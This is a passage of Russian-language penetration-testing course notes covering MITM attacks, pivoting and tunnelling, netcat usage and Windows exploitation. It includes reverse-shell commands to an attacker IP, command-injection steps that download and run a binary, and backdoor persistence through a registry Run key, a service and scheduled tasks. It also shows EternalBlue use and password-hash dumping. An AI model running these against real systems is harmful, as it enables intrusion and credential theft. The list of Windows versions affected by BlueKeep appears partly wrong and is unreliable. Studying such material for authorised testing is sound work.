трафика жертвы на себя. Перехватывается сообщение клиента DHCP solicit и назначаются учетные данные (например, адрес DNS). Пример работы сети в обычной ситуации: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/Witimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/Witimage.png) Во время атаки: [![image.png](http://bobrobotirk.ru/uploads/images/gallery/2025-10/scaled-1680-/ZKcimage.png)](http://bobrobotirk.ru/uploads/images/gallery/2025-10/ZKcimage.png) Работает в связи с: - IPv6 включен на всех Windows узлах по умолчанию. - Во многих сетях IPv6 не настроен. - IPv6 имеет приоритет над IPv4, соответственно, разрешение DNS имени будет происходить через DNS сервер в DHCP(6) конфигурации. **Инструменты атак** - [ettercap](https://github.com/Ettercap/ettercap) - [bettercap](https://github.com/bettercap/bettercap) - [mitm6](https://github.com/dirkjanm/mitm6) - [yersinia](https://github.com/tomac/yersinia) - [scapy](https://github.com/secdev/scapy/) **Дополнительные материалы** - [Методичка по анализу сети](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Один из лучших материалов о сетях в рунете](https://habr.com/ru/post/447080/) - [Памятка по всем популярным видам атак MiTM](https://github.com/Sab0tag3d/MITM-cheatsheet) - [Статья о том как атакуют IPv6](https://habr.com/ru/post/245935/) # Примеры атак **Cisco Smart Install misuse** Cisco Smart Install — программа Cisco для автоматизации начальной настройки и загрузки образа операционной системы для нового оборудования Cisco. По умолчанию Cisco Smart Install активен на оборудовании Cisco и использует протокол транспортного уровня TCP с номером порта 4786. В 2018 году в этом протоколе была обнаружена критическая уязвимость CVE-2018-0171. Уровень угрозы составляет 9,8 по шкале CVSS. Специально созданный пакет, отправленный на порт TCP/4786, на котором активен Cisco Smart Install, вызывает переполнение буфера, что позволяет: - Принудительно перезагрузить устройство. - Вызвать RCE. - Похитить конфигурацию сетевого оборудования. Для эксплуатации этой уязвимости был разработан инструмент SIET (Smart Install Exploitation Tool), который позволяет злоупотреблять Cisco Smart Install: ``` sudo python siet.py -t -i 192.168.0.1 ``` Параметры: -t проверить устройство для интеллектуальной установки -g получить конфигурацию устройства -c изменить конфигурацию устройства -C изменить несколько конфигураций устройства -u обновить IOS устройства -e выполнить команды в консоли устройства -i ip-адрес целевого устройства -l ip список целей (путь к файлу) **Обратная разработка эксплойта Mikrotik из Vault 7 CIA Leaks** ChimayRed (CR) - это эксплойт, который используется против маршрутизаторов MikroTik (MT) под управлением RouterOS. Он используется для загрузки полезной нагрузки на маршрутизатор MT. Использует порт: tcp/80. **WinboxExploit** Это критическая уязвимость WinBox (CVE-2018-14847), которая позволяет произвольно считывать пароли из файлов конфигурации MirkoTik. Все версии RouterOS с 2015-05-28 по 2018-04-20 уязвимы к этому эксплойту. Использует порт: tcp/8291. **Практика** Стенд: [https://stepik-files.cyber-ed.space/WhiteHat/Mikrotik.ova](https://stepik-files.cyber-ed.space/WhiteHat/Mikrotik.ova) Логин admin пароль password Задача - найти предыдущий пароль. # Проброс сетевого трафика Pivoting (англ. Pivot – “точка опоры”) – набор техник, с помощью которых организовывается доступ к тем сетям, к которым нет доступа при обычных обстоятельствах. При этом доступ получен с использованием скомпрометированных компьютеров. Прокси-сервер (англ. “Proxy”) — промежуточный сервер в компьютерных сетях, выполняющий роль посредника между пользователем и целевым сервером, позволяющий клиентам как выполнять косвенные запросы к другим сетевым службам, так и получать ответы. Туннелирование в компьютерных сетях (англ. “Tunneling”) — процесс, в ходе которого создается логическое соединение между двумя конечными точками посредством инкапсуляции различных протоколов. Переадресация портов (англ. “Port Forwarding”) — проброс портов, который также иногда называемый перенаправлением портов или туннелированием, – это процесс пересылки трафика, адресованного конкретному сетевому порту с одного сетевого узла на другой. Port2Port (также известный как P2P) — это техника перенаправления сетевого трафика между двумя различными портами на одном и том же компьютере или между двумя разными компьютерами. Port2Hostnet — это техника перенаправления сетевого трафика через порт в сеть удаленного узла. **Общая задача** Есть доступ к системе ОС Linux, задача — найти сервисы внутренней сети и получить к ней доступ со своей рабочей машины. Задачу проброса трафика можно разделить по: Инструментам: - Подходы, использующие внутренние инструменты ОС: ssh, nc, bash и пр. - Подходы, использующие внешние утилиты: socat, meterpreter, gost и пр. Методам: - Стандартные протоколы, не использующие скрытие трафика: TCP, UDP, HTTPS, SSH, VPN. - Нестандартные протоколы, позволяющие обходить системы обнаружения, ограничения и скрывать наличие туннеля: ICMP, DNS, HTTPS (в виде легитимных запросов к приложению). Проблемы, присущие методам проброса трафика - Нестабильность соединений. - Исключение возможности использовать протоколы ниже прикладного или транспортного уровня. - Детектирование зловредного трафика в сети. - Ограничение соединений между узлами, логическими сегментами сети, используемыми портами. **Стандартные протоколы для проброса трафика** Встроенные утилиты:
ПлюсыМинусы
Удобство и простота использования. Возможность использования почти на любой ОС. Относительная надежность соединения.Во многих встроенных утилитах отсутствует механизм шифрования трафика.
Внешние утилиты:
ПлюсыМинусы
Внедрение механизмов шифрования. Добавление дополнительных функций поддержания туннеля. Возможность установки в большинство ОС для использования при отсутствии встроенных механизмов.Необходимость установки потенциально вредоносного ПО. Необходимость разбираться в сложных правилах проброса трафика. Относительная ненадежность использования собственного ПО.
**Пример** Лабораторный стенд: [https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip](https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip) //Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере Дано: есть доступ на машину jump. Задача — получить удобный доступ к сервису: target:80 Ход действий 1. Запускаем лабораторный стенд: ``` $ docker-compose up -d ``` 2. Проверяем доступность сервиса pinger через web-интерфейс. 3. Проверяем возможность инъекции команд, затем соберем информацию о сервисе: ``` 1.1.1.1; ls hostname -I ``` 4. IP-адрес принадлежит локальной сети, попробуем найти в ней другие хосты, скрытые в локальной сети: ``` curl 172.22.0.2 ``` 5. Чтобы найти файл на скрытом web-сервере, используем ffuf, но для этого необходимо стабильное соединение с целевым сервером через промежуточный хост. Используем прокси из проекта [Go simple tunnel](https://github.com/ginuerzh/gost) Скачиваем бинарный файл из релизов, выбираем сборку для Linux с amd64, например [https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz](https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz) 6. Подготовим веб-сервер для передачи этого файла на атакуемую машину: ``` $ cd /tmp $ mkdir http; cd http $ wget https://github.com/ginuerzh/gost/releases/download/v2.11.5/gost-linux-amd64-2.11.5.gz $ gunzip gost-linux-amd64-2.11.5.gz # распаковка архива с бинарником $ mv gost-linux-amd64-2.11.5 gost $ python3 -m http.server 3000 ``` 7. Определяем наш IP-адрес и в браузере выполняем скачивание файла через интерфейс pinger: ``` 1.1.1.1 | curl 172.20.10.7:3000/gost --output gost ``` 8. Выдаем права на исполнение и запускаем туннель ``` chmod +x gost 1.1.1.1 | ./gost -L=:1338 ``` 9. Настроим утилиту ffuf для использования прокси для обнаружения файлов на удаленном веб-сервере с IP 172.22.0.2 в локальной сети используя словарь [fuzz.txt](https://github.com/empty-jack/YAWR/blob/master/Web/files_and_directories/fuzz.txt) ``` http_proxy=127.0.0.1:1338 ffuf -w ~/Repositories/YAWR/Web/files_and_directories/fuzz.txt -u http://172.22.0.2/FUZZ -fc 403 ``` 10. Получим файл config.inc~, прочтем его с помощью curl и получим секрет: ``` 1.1.1.1 | curl 172.22.0.2/config.inc~ ``` # Утилиты для проброса трафика **Популярные методы Port2Port в Bash** **Связывание портов локального сервера в Bash:** Создаем именованный контейнер backpipe ``` mkfifo backpipe ``` Прослушивание порта 443 и привязка канала к потоку ввода, привязка потока ввода канала к потоку вывода порта 3333 ``` nc -lvnp 443 0 < backpipe | nc -lvnp 3333 1& > backpipe ``` **Связывание портов локального и удаленного серверов в Bash:** exec 3<>/dev/tcp/192.168.1.2/443 — создание файлового дескриптора №3 и связывание потоков ввода-вывода портом 443 внешнего узла 192.168.1.2 exec 4<>/dev/tcp/0.0.0.0/3333 — создание файлового дескриптора №4 и связывание потоков ввода-вывода портом 3333 самого узла (“Джамп сервера”) cat <&3 &>&4 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №3 на поток вывода файлового дескриптора №4 cat <&4 &>&3 & — передача в фоновом режиме данных потока ввода из файлового дескриптора №4 на поток вывода файлового дескриптора №3 **Популярные методы Port2Port в SSH** **Связывание портов локального сервера в SSH на удаленном узле:** $ ssh -R 0.0.0.0:10080:127.0.0.1:80 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10080, который будет ссылаться на локальный порт 80 (который доступен только с самого узла) **Связывание портов локального и удаленного серверов в SSH на удаленном узле:** $ ssh -R 0.0.0.0:10033:10.0.2.5:1433 user@10.0.1.3 — при подключении к SSH на узле 10.0.1.3 откроется публичный порт 10033, который будет ссылаться на порт 1433 удаленного узла 10.0.2.5 **Связывание собственного локального порта и удаленного узла за сервером с SSH:** \# ssh -L 10080:10.0.3.6:80 -N -f -l user@10.0.1.3 — при подключении к SSH на узел 10.0.1.3 на вашем локальном компьютере откроется порт 10080, который будет ссылаться на порт 80 адреса 10.0.3.6 узла стоящего в одной сети с узлом жертвой (10.0.1.3)​​ ​​​​​В данных примерах узел 10.0.1.3 — узел жертвы, с доступом к узлу по протоколу SSH. Также его называют “Jump server”. **Использование метода Port2HostNet в SSH** ssh -f -N -D 4444 user@10.0.0.1 При помощи данной команды выполняются следующие действия: Устанавливается SSH-соединение с удаленным хостом по адресу 10.0.0.1, используя имя пользователя user. Опция -f заставляет SSH-клиент запуститься в фоновом режиме. Опция -N указывает на то, что SSH-клиент не должен выполнять какие-либо команды после подключения к удаленному хосту. Опция -D 4444 создает SOCKS-прокси на локальной машине, который слушает порт 4444: все запросы на сетевые ресурсы будут перенаправляться через этот прокси на удаленный хост по зашифрованному каналу SSH (поддерживается Socks4 и Socks5). Опция -D в утилите SSH используется для создания динамического SOCKS-прокси на локальной машине. Когда вы используете опцию -D с SSH, SSH клиент подключается к удаленному хосту и на локальной машине открывается локальный SOCKS-прокси- сервер, который может быть использован для перенаправления трафика через зашифрованный туннель SSH на удаленном хосте. **Внешние утилиты** - Meterpreter — это продвинутая, динамически расширяемая полезная нагрузка, которая использует стейджеры, инъекции DLL в памяти и распространяется по сети во время выполнения. Он взаимодействует через сокет стейджера и предоставляет обширный клиентский Ruby API. В нем есть история команд, завершение вкладок, каналы и многое другое. Например: проброс порта с локального порта 3389 на удаленный порт 3389 на целевом хосте. ``` meterpreter > portfwd add –l 3389 –p 3389 –r [target host] ``` - Socat (SOcket CAT) - утилита для передачи данных между двумя адресами. Адрес может представлять сетевой сокет, любой дескриптор файла, датаграммный или потоковый сокет домена Unix, TCP и UDP (как в IPv4, так и в IPv6), SOCKS 4/4a в IPv4/IPv6, SCTP, PTY, именованные и неименованные конвейеры, OpenSSL, а в Linux — даже любое произвольное сетевое устройство. Пример P2P форвардинг на “джамп” сервере, где: lport — порт, который будет открыт на узле, где запущен socat, redirect\_ip — адрес, куда будет направлен трафик с узла, rport — адрес порта, куда будет отправлен трафик с порта lport: ``` socat TCP4-LISTEN:,fork TCP4:: & ``` Пример обратного шелла: attacker > socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 — поднимает сокет 1337 и берет / кладет туда данные в режиме терминала victim > socat TCP4:<attackers\_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane — присоединяется к сокету по адресу атакующего и отправляет все данные из него на исполнение - GOST (GO Simple Tunnel) — это инструмент для создания зашифрованных туннелей между двумя узлами сети с помощью протокола TCP/UDP, поддерживающий все популярные протоколы проксирования: HTTP/HTTPS/HTTP2/SOCKS4(A)/SOCKS5. Стандартный HTTP/SOCKS5 прокси: ``` gost -L=:8080 ``` Прокси с аутентификацией: ``` gost -L=admin:123456@localhost:8080 ``` Прокси сервер: gost -L=socks://:1080 Прокси клиент: gost -L=:8080 -F=socks://server\_ip:1080 # Использование внешних утилит для скрытия трафика Используют нестандартные протоколы (DNS и ICMP), позволяя обойти блокировки или скрыть факт передачи данных. **DNS-туннелирование** DNS-туннелирование (DNS Tunneling) — использование DNS-протокола для передачи данных между компьютерами в сети. Одним из способов реализации DNS-туннелирования является использование поддоменов. Пример: ``` OVUWIPJRGAYDCKDSMVTXK3DBOIUSAZ3JMQ6TSOJZFBZGKZ3VNRQXEKI.example.com ``` В имени поддомена закодирована строка: uid=1001(regular) gid=999(regular) Другим способом реализации DNS-туннелирования является использование поля "OPCODE" в запросах DNS. Поле "опкод" обычно используется для указания типа запроса (например, запрос на получение записи или запрос на обновление записи), но может также использоваться для передачи полезной нагрузки, включая команды или файлы. Максимальная длина “OPCODE” равна 4 битам (0-16). Особые условия DNS-туннелирования - Максимум 253 символа в домене. - Максимум 63 символа на поддомен. - Нечувствительность к регистру (поэтому мы используем кодировку Base32). - TXT-запрос для получения максимального количества символов в ответе. Особенности использования DNS-туннеля: рекурсивные запросы Такие запросы позволяют не использовать прямое соединение с сервером управления или прокси, чтобы получать доступ. Это поведение может быть очень полезно в изолированном периметре или сети с ограничениями к соединениям между узлами. **Утилиты для DNS-туннелирования** DNSCAT2 — инструмент, предназначенный для создания зашифрованного командно-контрольного канала (C&C) через протокол DNS, который является эффективным туннелем практически из любой сети Iodine — программное обеспечение, позволяющее туннелировать данные IPv4 через сервер DNS сервер. Это может быть полезно в различных ситуациях, когда доступ в интернет исключен, но DNS-запросы разрешены. Пример работы с DNSCAT2: ``` Запуск сервера: ./dnscat2.rb our-domain-server.org Запуск клиента: ./dnscat2 our-domain-server.org ``` При подключении клиента к серверу вы сможете управлять с сервера терминальной оболочкой, исполняющей команды на агенте. Пример проброса туннелирования трафика через DNS-туннель: listen 4444 10.0.1.3:80 — поднимет на стороне сервера порт 4444, который будет отправлять трафик на узел 10.0.1.3 на порт 80 на стороне агента **ICMP-туннелирование** ICMP-туннель — скрытый канал для передачи данных, организованный между двумя узлами, использующий IP-пакеты с типом протокола ICMP. **Пример инструмента:** Hans — делает возможным туннелирование IPv4 через эхо-пакеты ICMP, поэтому его можно назвать туннелем для пинга. Это может быть полезно в ситуации, когда доступ в Интернет перекрыт, но пинги разрешены. Для запуска в качестве сервера (от имени root): \# ./hans -s 10.1.2.0 -p password — это создаст новое tun-устройство и назначит ему IP 10.1.2.1 Для запуска в качестве клиента (от имени root): \# ./hans -c server\_addess -p пароль — это позволит подключиться к серверу по адресу "server\_addess", создать новое tun-устройство и назначить ему IP из сети 10.1.2.0/24 Теперь вы можете запустить прокси на сервере или позволить ему действовать как маршрутизатор и использовать NAT, чтобы разрешить клиентам доступ в Интернет. **Дополнительно** - [Доклад](https://www.blackhat.com/presentations/bh-usa-08/Miller/BH_US_08_Ty_Miller_Reverse_DNS_Tunneling_Shellcode.pdf) о загрузке шеллкодов через ДНС-туннели - Популярные [способы](https://book.hacktricks.xyz/generic-methodologies-and-resources/tunneling-and-port-forwarding) проброса трафика - [Об обнаружении](https://habr.com/ru/company/varonis/blog/513160/) ДНС-туннелей - [Socat - практика](https://web.archive.org/web/20230309175736/https://blog.travismclarke.com/post/socat-tutorial/) - [Tunneling and port forwarding](https://book.hacktricks.xyz/tunneling-and-port-forwarding) - [Defeating the network security infrastructure](https://www.radarhack.com/tutorial/DEFEATING_THE_NETWORK_SECURITY_INFRASTRUCTURE.pdf) - [SOCKSP прокси через веб шелл](https://hackware.ru/?p=9016#36) - [ICMP туннелирование](https://hackware.ru/?p=9016#5) - [DNS туннелирование](https://hackware.ru/?p=9016#51) - [Iodine](https://hackware.ru/?p=9016#52) - [Dnscat2](https://hackware.ru/?p=9016#521) - [Rpivot](https://hackware.ru/?p=9016#531) - [Ресурс gtfobins](https://gtfobins.github.io/) - [Linux-privilege-escalation](https://myexperiments.io/linux-privilege-escalation.html) 📌 В дополнение: - [sensepost/reGorg](https://github.com/sensepost/reGeorg) - [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) - [securesocketfunneling ssf](https://github.com/securesocketfunneling/ssf) 📌 Гайды, подсказки и статьи: - [A Red Teamer's guide to pivoting](https://artkond.com/2017/03/23/pivoting-guide/) - [Шпаргалки по pivoting](http://archive.fo/LnvIQ#selection-2127.0-2127.46) - [Материал по Pivoting от Offensive Security](https://www.offensive-security.com/metasploit-unleashed/pivoting/) - [Network pivoting like a pro](https://medium.com/@6c2e6e2e/network-pivoting-like-a-pro-2fa04a569d8c) - [SSH Pentesting Guide](https://community.turgensec.com/ssh-hacking-guide/) - [A Pivot Cheatsheet for Pentesters](https://nullsweep.com/pivot-cheatsheet-for-pentesters/) 📌 Инструменты: - [ProxyChains-NG](https://kali.tools/?p=2075) - [RPIVOT](https://github.com/klsecservices/rpivot) - [reGeorg](https://github.com/sensepost/reGeorg) # Практика проброса трафика Архив: [https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip](https://stepik-files.cyber-ed.space/WhiteHat/socket-lab.zip) Открыт один порт 1337, нужно найти другие открытые для внутреннего использования порты и получить опубликованные файлы на скрытом web сервере # NetCat # Общая информация Два режима: клиент и сервер. Режим сервера определяется ключом -l (listener). Может работать в TCP и в UDP режиме. Незашифрованная передача данных. Есть Cryptcat с шифрованием, синтаксис аналогичный. Также можно использовать ssh туннель для шифрования. **Общие принципы для обоих типов соединения** В случае простого соединения (без передачи из файла) двустороннее соединение. Поддерживает редиректы в/из файл/сокет.
<Файл-источник отправляется в скрипт (в данном случае приложение nc) nc –l –p 12345 < dumpfile - Файл dumpfile передается как STDIN для NetCat - NetCat отправляет это содержимое всем подключившимся клиентам - После отправки файла соединение может закрыться
>Полученное от клиента отправляется в файл. Файл перезаписывается. nc -l -p 12345 > file - Файл очищается - В него сохраняются полученные данные - Не отображается в выводе
>>Полученное от клиента добавляется в файл.
|Создает неименованный канал, может работать с потоковыми данными. Создается 2 процесса в памяти. При закрытии соединения, процесс формирования данных (слева от pipe) остается открытым. Теоретически возможно продолжение передачи данных другому клиенту. Вплоть до передачи с одного nc на другой nc
**TCP режим** Режим по умолчанию. При завершении соединения закрывает приложение. Отправляет вывод в консоль. **Общие ключи для клиента и сервера**
-vрасширенный вывод. -n не резолвит ip адреса. Без -v, ключ -n бессмысленный
-w <timeout>Таймаут при отсутствии ответа сервера. По умолчанию 3 секунды.
-dОтсоединенный от консоли режим
**Ключи для сервера** nc -l -p port \[-options\] \[hostname\] \[port\]
-lЛибо l либо L всегда используется в режиме сервера. Завершается при завершении сессии
-LПерезапускается при завершении сессии.
-p портНомер прослушиваемого порта
-e (или -c, аналогично)Приложение, запускаемое при подключении. С bash сработало, с python3 напрямую не сработало.
-i <период>интервал между приемкой сообщения и отображением сообщения
-rслучайные локальные порты источника (?)
-kмножественные подключения
**Ключи для клиента** nc \[-options\] hostname port\[s\] \[ports\] Два режима - просто соединение и сканирование портов. Несколько разные подходы.
-i <период>интервал между - исполнением команд при сканировании портов, - отправки сообщений
-e (или -c, аналогично)Приложение, запускаемое при подключении на клиенте. Получается обратный shell. Команды, введенные на сервере, интерпретируются и отдается результат.
-rПри сканировании портов - случайные порты из диапазона.
-sподмена адреса источника
-zрежим без отправки данных. Для сканирования.
-q <sec>Завершение после sec секунд. Актуально во время сканирования портов, но при необходимости отправки некоторых данных и сохранения ответа. Можно наткнуться на сервис типа ssh или nc, который остановит сканирование.
**Запуск сервера с консолью** ``` nc –l –p 12345 –e /bin/bash ``` Расширенный вариант с перезапуском подключения и не привязанный к консоли ``` c:\nc.exe -d -L -p 1234 -e cmd.exe ``` Для проверки на другом сервере запускаем ``` nc 192.168.1.204 12345 ls m.txt exit ``` **Реверсивный shell** На атакованном клиенте ``` nc.exe -d host 1234 -e cmd.exe ``` Одним из недостатков в ожидании события запуска (Планировщик) или действия пользователя (вход в систему или перезагрузка компьютера). Но и это поведение еще надо настроить. Настройку лучше сделать при входе любого пользователя в систему, может удастся спровоцировать администратора на логин. Настройка: ``` c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d “c:\windows\nc.exe -d 192.168.1.70 1234 -e cmd.exe” ``` Пример создания сервиса ``` sc create ncbackdoor binPath= “cmd /K start c:\nc.exe –d 192.168.1.70 1234 –e cmd.exe” start= auto error= ignore ``` Использование планировщика задач Проверка наличия задач ``` schtasks.exe ``` Настройка задачи (возможно неверно) ``` at 15:00:00 /every:m,t,w,th,f,s,su ““c:\nc.exe -d 192.168.1.70 1234 -e cmd.exe”” ``` Естественно лучше переименовывать все в похожие-на-нужные имена. **Файл-сервер** ``` # Сервер - раздает файл nc -l -p 12345 < important_document.pdf # Клиенты - получают файл nc 192.168.1.100 12345 > received_document.pdf ``` **Сканирование портов** Интересная возможность. Только в режиме клиента. Базовый вариант ``` nc -v -z 192.168.2.36 1-65535 ``` Перечисляются порты, можно через запятую. Если не установить -z то найдет первый открытый порт, откроет соединение и все. Лучше с ключом -r -w <sec> задержка при неактивности. Минимум 1 секунда, поэтому не вариант для быстрого сканирования. Можно просканировать несколько сотен портов на одном адресе, но дальше что-то другое. Bash скрипт для сканирования серверов с текстом запроса ```bash for i in `cat hostlist.txt `;do nc -q 2 -v $i 80 < request.txt done ``` **Тестирование исходящих правил брандмауэра** Убедиться, что исходящие правила фильтрации трафика существуют и настроены так, как хотелось. Схема проверки
На тестовом сервере должны быть открыты 65535 портов в режиме TCP и UDP. Это очень много, запускать listener'ы на всех этих портах нереально. Вариант: сконфигурировать два listener на TCP и UDP, а через iptables все соединения по всем портам отправить на эти listener. ``` iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 1:65535 -j REDIRECT --to-port 1234 iptables -t nat -A PREROUTING -i eth0 -p udp --dport 1:65535 -j REDIRECT --to-port 1234 ``` После этого запускаются ``` nc –l –p 1234 nc –u –l –p 1234 ``` и все! **Relay сервер** Простейший фиксированный relay сервер. ``` nc –l –p 12345 | nc 54321 ``` После подключения к этому серверу по порту 12345, target увидит запрос от relay с порта 54321. **UDP режим** -e не работает -o filename сохраняет бинарный дамп в файл # Анализ Windows # Поиск Win машин и эксплуатация Smb уязвимости NBT (NetBIOS over TCP/IP) — механизм отображения запросов NetBIOS на TCP/IP. Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса в локальной сети. LLMNR, англ. Link-Local Multicast Name Resolution — протокол стека TCP/IP, основанный на формате пакета данных DNS, который позволяет компьютерам выполнять разрешение имен хостов в локальной сети. MS17-010 — обновление безопасности, устраняющее уязвимости в Microsoft Windows. Наиболее серьезная из уязвимостей может позволить удаленное выполнение кода, если злоумышленник отправит специально созданные сообщения на сервер Microsoft Server Message Block 1.0 (SMBv1). **Пример** Ищем машины в сети ``` nmap -Pn -n -F -sT --open 192.168.10.0/24 ``` Получаем расширенную информацию о найденной машине ``` nmap -Pn -n -p 445 -sC -v --open 192.168.10.4 ``` Находим точное название скрипта проверки на подверженность уязвимости Smb ``` find /usr/share/nmap/scripts -iname '*MS17*' /usr/share/nmap/scripts/smb-vuln-ms17-010.nse nmap -Pn -n -p 445 --script smb-vuln-ms17-010 -v --open 192.168.10.4 ``` Находим уязвимость в msf и эксплуатируем ее ``` $ msfconsole msf6> search ms17-010 msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> set RHOSTS 192.168.10.4 msf6> run ``` Соберем информацию о текущем пользователе ``` meterpreter> sysinfo meterpreter> getuid ``` Получим хэши паролей пользователей ``` meterpreter> hashdump ``` # Обнаружение Windows машин **Поиск по сервисам** Распространенные сервисы Windows: - 88 - kerberos (Kerberos Key Distribution Center) — наличие этого порта помогает определить контроллер домена в сети. - 135 - MSRPC (Microsoft RPC\[6\]) — используется в приложениях «клиент-сервер» Microsoft (например, Exchange), позволяет выполнять различные операции в OS при наличии учетных данных. - 137 - NETBIOS-NS (NetBIOS Name Service) — позволяет узнать доменное имя машины и ее MAC адрес. - 389 - LDAP (Lightweight Directory Access Protocol) — этот порт может дать различные возможности, как по подбору учетных данных, так и по получению доступа к LDAP через эксплуатацию уязвимостей (пример [тут](https://www.rapid7.com/db/modules/auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass/)). - 445 - SMB (Server Message Blocks over IP) — протокол SMB имеет ряд уязвимостей и недостатков в различных версиях, которые могут приводить к выполнению кода, захвату пользовательской сессии, получению доступа к данным на файловых серверах. - 1433 - MSSQL (Microsoft SQL Server) — сервис MSSQL позволяет получить доступ к управлению БД и, что более важно, выполнить произвольный код на машине Windows, если у нас есть аккаунт для доступа к БД. - 3389 - RDP (Remote Desktop Protocol) — служба удаленных рабочих столов также имеет в истории различные уязвимости, приводящие к выполнению произвольного кода (BlueKeep), и уязвима по отношению к атакам MitM, позволяющим получить доступ к службе от имени жертвы. [Список публичных сервисов](https://social.technet.microsoft.com/wiki/contents/articles/1772.windows-ports-protocols-and-system-services.aspx). Пример команды для обнаружения узлов с ОС Windows: ``` nmap -Pn -n -sT -p 88,135,137,389,445,1433,3389 -sV -sC --open -iL list-of-machines.txt ``` **Анализ трафика широковещательных запросов** Машины Windows активно используют протоколы WPAD, LLMNR, NBT-NS, позволяющие определить, что с высокой долей вероятности именно машины Windows воспользовались данным протоколом. Web Proxy Auto-Discovery Protocol (WPAD) (протокол автоматической настройки прокси) — метод, используемый клиентами для определения места (URL) расположения конфигурационного файла с использованием технологий DHCP и/или DNS. Служба имен NetBIOS (NBT-NS) — это протокол Windows, который используется для преобразования имен NetBIOS в IP-адреса в локальной сети. Link-Local Multicast Name Resolution (LLMNR) — протокол стека TCP/IP, основанный на формате пакета данных DNS, который позволяет компьютерам выполнять разрешение имен хостов в локальной сети. **Широковещательные запросы NBNS, LLMNR:** Протокол WPAD нужен для того, чтобы автоматически настроить все браузеры в организации без ручного конфигурирования каждого. WPAD-стандарт описывает 2 альтернативных метода распространения информации о расположении файла конфигурации для системных администраторов: с использованием Dynamic Host Configuration Protocol (DHCP) или Domain Name System (DNS). Для поиска Windows машин мы можем исследовать трафик с использованием Wireshark и фильтром: nbns || llmnr || mdns Для автоконфигурации клиент пытается обнаружить URL-адрес с расположением файла конфигурации, указывающим на Proxy-сервер. До того, как будет загружена первая страница, браузер в машине Windows использует эту технологию для отправки локальному DHCP-серверу DHCPINFORM-запроса и использует полученный URL из WPAD-опции ответа сервера. Если DHCP-сервер не может предоставить требуемую информацию, то используется DNS. Если, DNS-имя компьютера pc-hostname.subname.local-domain-name.ru, браузер попытается обратиться к следующим URL для поиска конфигурационного файла: - [http://wpad.subname.local-domain-name.ru/wpad.dat](http://wpad.subname.local-domain-name.ru/wpad.dat) - [http://wpad.local-domain-name.ru/wpad.dat](http://wpad.local-domain-name.ru/wpad.dat) - http://wpad.com/wpad.dat Проблемы: Так как какого-то имени в сети действительно нет, клиент выполняет поиск DNS имен через следующие этапы: - Проверяет файл hosts для получения информации о системе и ее конфигурации - Проверяет локальный кэш DNS - Отправляет запрос к DNS - Отправляет запрос LLMNR - Отправляет запрос NBT-NS - Отправляет запрос MDNS Если мы сможем сообщить клиенту о том, что файл wpad.dat находится у нас, мы можем попытаться запросить у клиента учетные данные для аутентификации или дать клиенту настройки прокси с адресом своего узла и прослушивать весь трафик, который будет идти через наш прокси сервер. # Атаки первичного доступа **Применение эксплойтов** Самыми распространенными уязвимостями Windows машин в разное время являлись: CVE-2008-4250 (MS08-067) CVE-2017-0143 (MS17-010) CVE- 2019-0708 (BlueKeep) \-----> [полный список](https://github.com/SecWiki/windows-kernel-exploits) **MS08-067** MS08\_067\_netapi — один из самых популярных удаленных эксплойтов против Microsoft Windows. Он считается надежным эксплойтом и позволяет получить доступ как SYSTEM (это наивысшая привилегия Windows). В современных тестах на проникновение этот эксплойт, скорее всего, будет использоваться во внутренней среде и не так часто. Во внешней не так часто из-за вероятности наличия брандмауэра. Работает для: - Windows 2000 - Windows XP - Windows 2003 Эксплоит: Metasploit > [exploits/windows/smb/ms08\_067\_netapi](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/ms08_067_netapi.rb) **MS17-010** MS17\_010\_eternalblue — удаленный эксплойт против Microsoft Windows, изначально написанный Equation Group (АНБ) и разглашенный Shadow Brokers (неизвестной хакерской организацией). Он считается надежным эксплойтом и позволяет не только получить доступ как SYSTEM, но и полный контроль над ядром в кольце 0. Что касается удаленных эксплойтов для ядра, этот эксплойт очень надежен и безопасен в использовании. Команда проверки также очень точна, поскольку патч Microsoft непреднамеренно добавил раскрытие информации с дополнительными проверками на уязвимые пути кода. Работает для: - Windows XP x86 (All Service Packs) - Windows 2003 x86 (All Service Packs) - Windows 7 x86 (All Service Packs) - Windows 7 x64 (All Service Packs) - Windows 2008 R2 x64 (All Service Packs) - Windows 8.1 x64 - Windows Server 2012 R2 x64 - Windows 10 Pro x64 (< Version 1507) - Windows 10 Enterprise Evaluation x64 (< Version 1507) Эксплоит: Metasploit > [exploit/windows/smb/ms17\_010\_eternalblue](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/smb/ms17_010_eternalblue.md) **BlueKeep** Уязвимость BlueKeep была обнаружена в реализации протокола RDP в некоторых версиях ОС Windows в мае 2019. BlueKeep никак не относится к механизму работы самого протокола и затрагивает только его реализацию. В частности, уязвимость затрагивает часть кода, отвечающую за управление так называемыми виртуальными каналами (англ. virtual channels). Работает для: - Windows 10 - Windows 7 - Windows 8.1 - Windows Server 2008 R2 - Windows Server 2012 - Windows Server 2012 R2 - Windows Server 2016 - Windows Server 2019 Эксплоит: Metasploit > [exploit/windows/rdp/cve\_2019\_0708\_bluekeep\_rce](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/rdp/cve_2019_0708_bluekeep_rce.md) **Атаки методом перебора** В каждой Windows машине есть по несколько протоколов, позволяющих 